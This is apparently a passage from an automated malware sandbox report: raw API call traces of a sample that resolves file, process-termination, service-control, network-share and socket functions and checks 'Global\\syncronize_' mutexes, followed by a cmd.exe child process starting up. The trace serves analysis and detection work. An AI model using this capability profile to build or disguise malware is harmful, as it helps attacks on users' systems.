lpProcName="Sleep") returned 0x77756760 [0262.725] GetProcAddress (hModule=0x77740000, lpProcName="LeaveCriticalSection") returned 0x77cbb250 [0262.725] GetProcAddress (hModule=0x77740000, lpProcName="ReadFile") returned 0x777af090 [0262.725] GetProcAddress (hModule=0x77740000, lpProcName="CreateFileW") returned 0x777aed10 [0262.725] GetProcAddress (hModule=0x77740000, lpProcName="OpenMutexW") returned 0x777aebf0 [0262.725] GetProcAddress (hModule=0x77740000, lpProcName="EnterCriticalSection") returned 0x77cbb2d0 [0262.725] GetProcAddress (hModule=0x77740000, lpProcName="WaitForMultipleObjects") returned 0x777aec80 [0262.725] GetProcAddress (hModule=0x77740000, lpProcName="lstrcmpiW") returned 0x77756bf0 [0262.725] GetProcAddress (hModule=0x77740000, lpProcName="lstrcmpiA") returned 0x77756bd0 [0262.725] GetProcAddress (hModule=0x77740000, lpProcName="DeleteCriticalSection") returned 0x77c9fb90 [0262.725] GetProcAddress (hModule=0x77740000, lpProcName="ReleaseMutex") returned 0x777aec20 [0262.725] GetProcAddress (hModule=0x77740000, lpProcName="CloseHandle") returned 0x777aeab0 [0262.725] GetProcAddress (hModule=0x77740000, lpProcName="GetVersion") returned 0x777556c0 [0262.725] GetProcAddress (hModule=0x77740000, lpProcName="CreateThread") returned 0x777546b0 [0262.726] GetProcAddress (hModule=0x77740000, lpProcName="ExpandEnvironmentStringsW") returned 0x77754a40 [0262.726] GetProcAddress (hModule=0x77740000, lpProcName="QueryPerformanceCounter") returned 0x77755da0 [0262.726] GetProcAddress (hModule=0x77740000, lpProcName="QueryPerformanceFrequency") returned 0x77755dc0 [0262.726] GetProcAddress (hModule=0x77740000, lpProcName="GetCurrentProcessId") returned 0x777aea20 [0262.726] GetProcAddress (hModule=0x77740000, lpProcName="SetFileAttributesW") returned 0x777af100 [0262.726] GetProcAddress (hModule=0x77740000, lpProcName="GetVolumeInformationW") returned 0x777af020 [0262.726] GetProcAddress (hModule=0x77740000, lpProcName="WriteFile") returned 0x777af180 [0262.726] GetProcAddress (hModule=0x77740000, lpProcName="SetFilePointerEx") returned 0x777af130 [0262.726] GetProcAddress (hModule=0x77740000, lpProcName="SetEndOfFile") returned 0x777af0e0 [0262.726] GetProcAddress (hModule=0x77740000, lpProcName="FindFirstFileW") returned 0x777aedf0 [0262.726] GetProcAddress (hModule=0x77740000, lpProcName="GetProcessHeap") returned 0x777551f0 [0262.727] GetProcAddress (hModule=0x77740000, lpProcName="HeapReAlloc") returned 0x77caf630 [0262.727] GetProcAddress (hModule=0x77740000, lpProcName="HeapAlloc") returned 0x77cb2dc0 [0262.727] GetProcAddress (hModule=0x77740000, lpProcName="HeapFree") returned 0x777557f0 [0262.727] GetProcAddress (hModule=0x77740000, lpProcName="CreatePipe") returned 0x77754590 [0262.727] GetProcAddress (hModule=0x77740000, lpProcName="SetHandleInformation") returned 0x777aeae0 [0262.727] GetProcAddress (hModule=0x77740000, lpProcName="CreateProcessW") returned 0x77754610 [0262.727] GetProcAddress (hModule=0x77740000, lpProcName="CompareStringW") returned 0x77754430 [0262.727] GetProcAddress (hModule=0x77740000, lpProcName="CompareStringA") returned 0x77754410 [0262.727] GetProcAddress (hModule=0x77740000, lpProcName="OpenProcess") returned 0x77755cc0 [0262.727] GetProcAddress (hModule=0x77740000, lpProcName="TerminateProcess") returned 0x777567e0 [0262.727] GetProcAddress (hModule=0x77740000, lpProcName="GetSystemTime") returned 0x777554e0 [0262.727] GetProcAddress (hModule=0x77740000, lpProcName="SystemTimeToFileTime") returned 0x777567a0 [0262.727] GetProcAddress (hModule=0x77740000, lpProcName="GetLastError") returned 0x77755010 [0262.727] GetProcAddress (hModule=0x77740000, lpProcName="CreateToolhelp32Snapshot") returned 0x7778edc0 [0262.727] GetProcAddress (hModule=0x77740000, lpProcName="Process32NextW") returned 0x7778f8f0 [0262.727] GetProcAddress (hModule=0x77740000, lpProcName="Process32FirstW") returned 0x7778f750 [0262.727] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x773f0000 [0264.247] GetProcAddress (hModule=0x773f0000, lpProcName="RegOpenKeyExW") returned 0x7740e580 [0264.247] GetProcAddress (hModule=0x773f0000, lpProcName="RegQueryValueExW") returned 0x7740e5a0 [0264.247] GetProcAddress (hModule=0x773f0000, lpProcName="RegSetValueExW") returned 0x7740f530 [0264.247] GetProcAddress (hModule=0x773f0000, lpProcName="RegCloseKey") returned 0x7740ed60 [0264.248] GetProcAddress (hModule=0x773f0000, lpProcName="OpenProcessToken") returned 0x7740efb0 [0264.248] GetProcAddress (hModule=0x773f0000, lpProcName="GetTokenInformation") returned 0x7740ee90 [0264.248] GetProcAddress (hModule=0x773f0000, lpProcName="OpenSCManagerW") returned 0x77410540 [0264.248] GetProcAddress (hModule=0x773f0000, lpProcName="OpenServiceW") returned 0x7740fa20 [0264.248] GetProcAddress (hModule=0x773f0000, lpProcName="CloseServiceHandle") returned 0x7740fc00 [0264.248] GetProcAddress (hModule=0x773f0000, lpProcName="ControlService") returned 0x774226d0 [0264.248] GetProcAddress (hModule=0x773f0000, lpProcName="QueryServiceStatus") returned 0x77412380 [0264.248] GetProcAddress (hModule=0x773f0000, lpProcName="EnumDependentServicesW") returned 0x77422f70 [0264.248] GetProcAddress (hModule=0x773f0000, lpProcName="EnumServicesStatusExW") returned 0x7740fc80 [0264.248] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76360000 [0265.170] GetProcAddress (hModule=0x76360000, lpProcName="SystemParametersInfoW") returned 0x7638f210 [0265.170] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75010000 [0267.810] GetProcAddress (hModule=0x75010000, lpProcName="ShellExecuteExW") returned 0x75174730 [0267.810] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77c70000 [0267.810] GetProcAddress (hModule=0x77c70000, lpProcName="NtQuerySystemInformation") returned 0x77ce2070 [0267.810] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74670000 [0267.845] GetProcAddress (hModule=0x74670000, lpProcName="WNetCloseEnum") returned 0x74672640 [0267.845] GetProcAddress (hModule=0x74670000, lpProcName="WNetOpenEnumW") returned 0x74672790 [0267.845] GetProcAddress (hModule=0x74670000, lpProcName="WNetEnumResourceW") returned 0x74672410 [0267.845] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x77940000 [0267.933] GetProcAddress (hModule=0x77940000, lpProcName="WSAStartup") returned 0x77945b40 [0267.933] GetProcAddress (hModule=0x77940000, lpProcName="socket") returned 0x77954510 [0267.933] GetProcAddress (hModule=0x77940000, lpProcName="send") returned 0x77945030 [0267.933] GetProcAddress (hModule=0x77940000, lpProcName="recv") returned 0x77950c50 [0267.933] GetProcAddress (hModule=0x77940000, lpProcName="connect") returned 0x77945410 [0267.933] GetProcAddress (hModule=0x77940000, lpProcName="closesocket") returned 0x77950910 [0267.933] GetProcAddress (hModule=0x77940000, lpProcName="gethostbyname") returned 0x77976cb0 [0267.933] GetProcAddress (hModule=0x77940000, lpProcName="inet_addr") returned 0x77959160 [0267.934] GetProcAddress (hModule=0x77940000, lpProcName="ntohl") returned 0x779449d0 [0267.934] GetProcAddress (hModule=0x77940000, lpProcName="htonl") returned 0x779449d0 [0267.934] GetProcAddress (hModule=0x77940000, lpProcName="htons") returned 0x77958ff0 [0267.934] GetProcessHeap () returned 0x420000 [0267.934] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x20) returned 0x42b020 [0267.934] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=12620157642) returned 1 [0267.934] GetTickCount () returned 0x1ecdb [0267.934] GetCurrentProcessId () returned 0xdbc [0267.936] GetTickCount () returned 0x1ecdb [0267.936] GetTickCount () returned 0x1ecdb [0267.936] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x20) returned 0x42b048 [0267.936] GetVersion () returned 0x23f00206 [0267.936] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x7) returned 0x437790 [0267.936] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x437f48 [0267.936] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x437f48, Size=0x20) returned 0x42b070 [0267.936] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x42b070, Size=0x40) returned 0x43b6f0 [0267.936] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x43f8f0 [0267.936] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_AEDV8MA") returned 0x1ec [0267.936] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x437790 | out: hHeap=0x420000) returned 1 [0267.936] lstrlenW (lpString="Global\\syncronize_") returned 18 [0267.936] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43b6f0 | out: hHeap=0x420000) returned 1 [0267.936] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x7) returned 0x437720 [0267.936] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x437f48 [0267.936] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x437f48, Size=0x20) returned 0x42b070 [0267.937] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x42b070, Size=0x40) returned 0x43b4f8 [0267.937] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x44f8f8 [0267.937] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_AEDV8MU") returned 0x1f0 [0267.937] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x437720 | out: hHeap=0x420000) returned 1 [0267.937] lstrlenW (lpString="Global\\syncronize_") returned 18 [0267.937] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43b4f8 | out: hHeap=0x420000) returned 1 [0267.937] GetVersion () returned 0x23f00206 [0267.937] GetCurrentProcess () returned 0xffffffff [0267.937] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0267.937] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0267.937] CloseHandle (hObject=0x1f4) returned 1 [0267.937] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102 [0267.937] ExitProcess (uExitCode=0x0) Thread: id = 38 os_tid = 0xdf8 Process: id = "9" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0xcd73000" os_pid = "0xe78" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xd88" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001b334" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 41 os_tid = 0xe7c [0272.514] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff790a40000 [0272.514] __set_app_type (_Type=0x1) [0272.515] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff790a56d00) returned 0x0 [0272.515] __getmainargs (in: _Argc=0x7ff790a79200, _Argv=0x7ff790a79208, _Env=0x7ff790a79210, _DoWildCard=0, _StartInfo=0x7ff790a7921c | out: _Argc=0x7ff790a79200, _Argv=0x7ff790a79208, _Env=0x7ff790a79210) returned 0 [0272.536] _onexit (_Func=0x7ff790a57fd0) returned 0x7ff790a57fd0 [0272.536] _onexit (_Func=0x7ff790a57fe0) returned 0x7ff790a57fe0 [0272.536] _onexit (_Func=0x7ff790a57ff0) returned 0x7ff790a57ff0 [0272.536] _onexit (_Func=0x7ff790a58000) returned 0x7ff790a58000 [0272.536] _onexit (_Func=0x7ff790a58010) returned 0x7ff790a58010 [0272.542] _onexit (_Func=0x7ff790a58020) returned 0x7ff790a58020 [0272.542] GetCurrentThreadId () returned 0xe7c [0272.542] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xe7c) returned 0x70 [0272.542] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7fffc5200000 [0272.543] GetProcAddress (hModule=0x7fffc5200000, lpProcName="SetThreadUILanguage") returned 0x7fffc521a990 [0272.543] SetThreadUILanguage (LangId=0x0) returned 0x409 [0272.668] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0272.668] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x76e48ff848 | out: phkResult=0x76e48ff848*=0x0) returned 0x2 [0272.668] VirtualQuery (in: lpAddress=0x76e48ff834, lpBuffer=0x76e48ff7b0, dwLength=0x30 | out: lpBuffer=0x76e48ff7b0*(BaseAddress=0x76e48ff000, AllocationBase=0x76e4800000, AllocationProtect=0x4, __alignment1=0xffff9209, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0272.668] VirtualQuery (in: lpAddress=0x76e4800000, lpBuffer=0x76e48ff7b0, dwLength=0x30 | out: lpBuffer=0x76e48ff7b0*(BaseAddress=0x76e4800000, AllocationBase=0x76e4800000, AllocationProtect=0x4, __alignment1=0xffff9209, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0272.668] VirtualQuery (in: lpAddress=0x76e4801000, lpBuffer=0x76e48ff7b0, dwLength=0x30 | out: lpBuffer=0x76e48ff7b0*(BaseAddress=0x76e4801000, AllocationBase=0x76e4800000, AllocationProtect=0x4, __alignment1=0xffff9209, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0272.668] VirtualQuery (in: lpAddress=0x76e4804000, lpBuffer=0x76e48ff7b0, dwLength=0x30 | out: lpBuffer=0x76e48ff7b0*(BaseAddress=0x76e4804000, AllocationBase=0x76e4800000, AllocationProtect=0x4, __alignment1=0xffff9209, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0272.668] VirtualQuery (in: lpAddress=0x76e4900000, lpBuffer=0x76e48ff7b0, dwLength=0x30 | out: lpBuffer=0x76e48ff7b0*(BaseAddress=0x76e4900000, AllocationBase=0x76e4900000, AllocationProtect=0x4, __alignment1=0xffff9209, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0272.668] GetConsoleOutputCP () returned 0x1b5 [0272.711] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff790a7fbb0 | out: lpCPInfo=0x7ff790a7fbb0) returned 1 [0272.723] SetConsoleCtrlHandler (HandlerRoutine=0x7ff790a68150, Add=1) returned 1 [0272.723] _get_osfhandle (_FileHandle=1) returned 0x254 [0272.723] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff790a7fc04 | out: lpMode=0x7ff790a7fc04) returned 0 [0272.723] _get_osfhandle (_FileHandle=0) returned 0x248 [0272.723] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff790a7fc00 | out: lpMode=0x7ff790a7fc00) returned 0 [0272.724] _get_osfhandle (_FileHandle=1) returned 0x254 [0272.724] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0272.724] _get_osfhandle (_FileHandle=1) returned 0x254 [0272.724] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff790a7fc08 | out: lpMode=0x7ff790a7fc08) returned 0 [0272.724] _get_osfhandle (_FileHandle=0) returned 0x248 [0272.724] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff790a7fc0c | out: lpMode=0x7ff790a7fc0c) returned 0 [0272.724] GetEnvironmentStringsW () returned 0x1e06dd15a90* [0272.724] GetProcessHeap () returned 0x1e06dd10000 [0272.724] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0xab6) returned 0x1e06dd16550 [0272.724] FreeEnvironmentStringsA (penv="=") returned 1 [0272.724] GetProcessHeap () returned 0x1e06dd10000 [0272.724] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0x8) returned 0x1e06dd128a0 [0272.724] GetEnvironmentStringsW () returned 0x1e06dd15a90* [0272.724] GetProcessHeap () returned 0x1e06dd10000 [0272.724] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0xab6) returned 0x1e06dd17010 [0272.724] FreeEnvironmentStringsA (penv="=") returned 1 [0272.724] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x76e48fe6f8 | out: phkResult=0x76e48fe6f8*=0x7c) returned 0x0 [0272.724] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x76e48fe6f0, lpData=0x76e48fe710, lpcbData=0x76e48fe6f4*=0x1000 | out: lpType=0x76e48fe6f0*=0x0, lpData=0x76e48fe710*=0x4, lpcbData=0x76e48fe6f4*=0x1000) returned 0x2 [0272.724] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x76e48fe6f0, lpData=0x76e48fe710, lpcbData=0x76e48fe6f4*=0x1000 | out: lpType=0x76e48fe6f0*=0x4, lpData=0x76e48fe710*=0x1, lpcbData=0x76e48fe6f4*=0x4) returned 0x0 [0272.724] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x76e48fe6f0, lpData=0x76e48fe710, lpcbData=0x76e48fe6f4*=0x1000 | out: lpType=0x76e48fe6f0*=0x0, lpData=0x76e48fe710*=0x1, lpcbData=0x76e48fe6f4*=0x1000) returned 0x2 [0272.725] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x76e48fe6f0, lpData=0x76e48fe710, lpcbData=0x76e48fe6f4*=0x1000 | out: lpType=0x76e48fe6f0*=0x4, lpData=0x76e48fe710*=0x0, lpcbData=0x76e48fe6f4*=0x4) returned 0x0 [0272.725] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x76e48fe6f0, lpData=0x76e48fe710, lpcbData=0x76e48fe6f4*=0x1000 | out: lpType=0x76e48fe6f0*=0x4, lpData=0x76e48fe710*=0x40, lpcbData=0x76e48fe6f4*=0x4) returned 0x0 [0272.725] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x76e48fe6f0, lpData=0x76e48fe710, lpcbData=0x76e48fe6f4*=0x1000 | out: lpType=0x76e48fe6f0*=0x4, lpData=0x76e48fe710*=0x40, lpcbData=0x76e48fe6f4*=0x4) returned 0x0 [0272.725] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x76e48fe6f0, lpData=0x76e48fe710, lpcbData=0x76e48fe6f4*=0x1000 | out: lpType=0x76e48fe6f0*=0x0, lpData=0x76e48fe710*=0x40, lpcbData=0x76e48fe6f4*=0x1000) returned 0x2 [0272.725] RegCloseKey (hKey=0x7c) returned 0x0 [0272.725] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x76e48fe6f8 | out: phkResult=0x76e48fe6f8*=0x7c) returned 0x0 [0272.725] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x76e48fe6f0, lpData=0x76e48fe710, lpcbData=0x76e48fe6f4*=0x1000 | out: lpType=0x76e48fe6f0*=0x0, lpData=0x76e48fe710*=0x40, lpcbData=0x76e48fe6f4*=0x1000) returned 0x2 [0272.725] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x76e48fe6f0, lpData=0x76e48fe710, lpcbData=0x76e48fe6f4*=0x1000 | out: lpType=0x76e48fe6f0*=0x4, lpData=0x76e48fe710*=0x1, lpcbData=0x76e48fe6f4*=0x4) returned 0x0 [0272.725] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x76e48fe6f0, lpData=0x76e48fe710, lpcbData=0x76e48fe6f4*=0x1000 | out: lpType=0x76e48fe6f0*=0x0, lpData=0x76e48fe710*=0x1, lpcbData=0x76e48fe6f4*=0x1000) returned 0x2 [0272.725] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x76e48fe6f0, lpData=0x76e48fe710, lpcbData=0x76e48fe6f4*=0x1000 | out: lpType=0x76e48fe6f0*=0x4, lpData=0x76e48fe710*=0x0, lpcbData=0x76e48fe6f4*=0x4) returned 0x0 [0272.725] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x76e48fe6f0, lpData=0x76e48fe710, lpcbData=0x76e48fe6f4*=0x1000 | out: lpType=0x76e48fe6f0*=0x4, lpData=0x76e48fe710*=0x9, lpcbData=0x76e48fe6f4*=0x4) returned 0x0 [0272.725] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x76e48fe6f0, lpData=0x76e48fe710, lpcbData=0x76e48fe6f4*=0x1000 | out: lpType=0x76e48fe6f0*=0x4, lpData=0x76e48fe710*=0x9, lpcbData=0x76e48fe6f4*=0x4) returned 0x0 [0272.725] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x76e48fe6f0, lpData=0x76e48fe710, lpcbData=0x76e48fe6f4*=0x1000 | out: lpType=0x76e48fe6f0*=0x0, lpData=0x76e48fe710*=0x9, lpcbData=0x76e48fe6f4*=0x1000) returned 0x2 [0272.725] RegCloseKey (hKey=0x7c) returned 0x0 [0272.725] time (in: timer=0x0 | out: timer=0x0) returned 0x5cb11056 [0272.725] srand (_Seed=0x5cb11056) [0272.725] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0272.725] malloc (_Size=0x4000) returned 0x1e06df85530 [0272.725] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0272.725] malloc (_Size=0xffce) returned 0x1e06de10080 [0272.726] ??_V@YAXPEAX@Z () returned 0x1e06de10080 [0272.726] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1e06de10080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0272.726] malloc (_Size=0xffce) returned 0x1e06de20060 [0272.726] ??_V@YAXPEAX@Z () returned 0x1e06de20060 [0272.726] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1e06de20060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0272.726] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff790a7bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0272.727] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff790a7bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0272.727] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff790a7bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0272.727] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0272.727] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0272.727] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0272.727] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0272.727] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0272.727] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0272.727] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0272.727] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0272.727] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0272.727] GetProcessHeap () returned 0x1e06dd10000 [0272.727] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd16550) returned 1 [0272.727] GetEnvironmentStringsW () returned 0x1e06dd15a90* [0272.727] GetProcessHeap () returned 0x1e06dd10000 [0272.727] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0xace) returned 0x1e06dd17ad0 [0272.727] FreeEnvironmentStringsA (penv="=") returned 1 [0272.727] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff790a7bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0272.727] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff790a7bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0272.727] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0272.727] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0272.727] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0272.727] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0272.727] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0272.727] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0272.727] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0272.727] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0272.727] malloc (_Size=0xffce) returned 0x1e06de30040 [0272.728] ??_V@YAXPEAX@Z () returned 0x1e06de30040 [0272.728] GetProcessHeap () returned 0x1e06dd10000 [0272.728] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0x38) returned 0x1e06dd185b0 [0272.728] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1e06de30040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0272.728] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x1e06de30040, lpFilePart=0x76e48ff270 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x76e48ff270*="system32") returned 0x13 [0272.728] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0272.728] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0x76e48fefa0 | out: lpFindFileData=0x76e48fefa0) returned 0x1e06dd185f0 [0272.729] FindClose (in: hFindFile=0x1e06dd185f0 | out: hFindFile=0x1e06dd185f0) returned 1 [0272.729] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x76e48fefa0 | out: lpFindFileData=0x76e48fefa0) returned 0x1e06dd185f0 [0272.729] FindClose (in: hFindFile=0x1e06dd185f0 | out: hFindFile=0x1e06dd185f0) returned 1 [0272.729] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0272.729] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0272.729] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0272.729] GetProcessHeap () returned 0x1e06dd10000 [0272.729] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd17ad0) returned 1 [0272.729] GetEnvironmentStringsW () returned 0x1e06dd15a90* [0272.729] GetProcessHeap () returned 0x1e06dd10000 [0272.729] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0xafe) returned 0x1e06dd185f0 [0272.729] FreeEnvironmentStringsA (penv="=") returned 1 [0272.729] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1e06de10080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0272.729] GetProcessHeap () returned 0x1e06dd10000 [0272.729] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd185b0) returned 1 [0272.729] ??_V@YAXPEAX@Z () returned 0x1 [0272.729] ??_V@YAXPEAX@Z () returned 0x1 [0272.729] GetProcessHeap () returned 0x1e06dd10000 [0272.729] RtlAllocateHeap 